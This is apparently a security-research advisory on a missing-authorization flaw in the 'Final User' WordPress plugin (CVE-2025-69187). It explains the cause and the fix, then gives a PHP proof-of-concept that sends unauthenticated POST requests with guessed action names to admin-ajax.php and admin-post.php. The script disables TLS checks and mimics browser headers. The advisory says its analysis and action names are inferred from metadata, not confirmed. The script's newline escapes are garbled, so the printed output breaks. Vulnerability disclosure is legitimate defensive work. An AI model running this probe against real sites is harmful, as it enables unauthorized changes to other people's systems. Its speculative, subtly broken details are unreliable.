Atomic Edge analysis of CVE-2025-69187 (metadata-based):
The Final User WordPress plugin version 1.2.5 contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to execute a privileged action intended only for authorized users. The vulnerability stems from an unprotected AJAX handler or admin endpoint.
Atomic Edge research indicates the root cause is a missing capability check on a WordPress hook. The plugin registers a function via add_action() for AJAX or admin-post processing without verifying the user’s permissions. The CWE-862 classification confirms the absence of authorization controls. This conclusion is inferred from the CWE and vulnerability description, as source code is unavailable for direct confirmation.
Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Attackers target /wp-admin/admin-ajax.php or /wp-admin/admin-post.php with an action parameter containing the plugin’s hook name. The payload consists of a POST request with action=final_user_{action_name} and any required parameters. No authentication cookies or nonces are required due to the missing authorization check.
Remediation requires adding a proper capability check before executing the sensitive function. The plugin should implement current_user_can() with an appropriate capability like ‘manage_options’ or a custom plugin capability. WordPress best practices also mandate nonce verification for state-changing operations, though the primary fix is the authorization check.
Successful exploitation permits unauthenticated attackers to perform unauthorized administrative actions. The CVSS vector indicates confidentiality is unaffected (C:N), integrity has low impact (I:L), and availability is unaffected (A:N). Attackers could modify plugin settings, delete user data, or trigger other destructive actions depending on the vulnerable function’s purpose.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69187 - Final User <= 1.2.5 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69187
* Targets: WordPress Final User plugin <= 1.2.5
* Method: Unauthenticated AJAX action execution via missing capability check
* Note: Exact action name is inferred from plugin slug; actual exploitation
* requires identifying the specific vulnerable hook via enumeration.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common WordPress AJAX endpoints for plugin actions
$endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-admin/admin-post.php'
];
// Potential action parameter values based on plugin slug 'final-user'
// These require enumeration in real testing
$potential_actions = [
'final_user_save_settings',
'final_user_update',
'final_user_delete',
'final_user_process',
'final_user_action',
'final_user_import',
'final_user_export'
];
foreach ($endpoints as $endpoint) {
foreach ($potential_actions as $action) {
$url = $target_url . $endpoint;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['action' => $action]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to simulate legitimate WordPress request
$headers = [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept: application/json, text/javascript, */*; q=0.01',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With: XMLHttpRequest'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for successful execution (not 403/404)
if ($http_code == 200 && !empty($response)) {
echo "[+] Potential vulnerable endpoint found: $urln";
echo "[+] Action parameter: $actionn";
echo "[+] Response: $responsenn";
}
}
}
?>
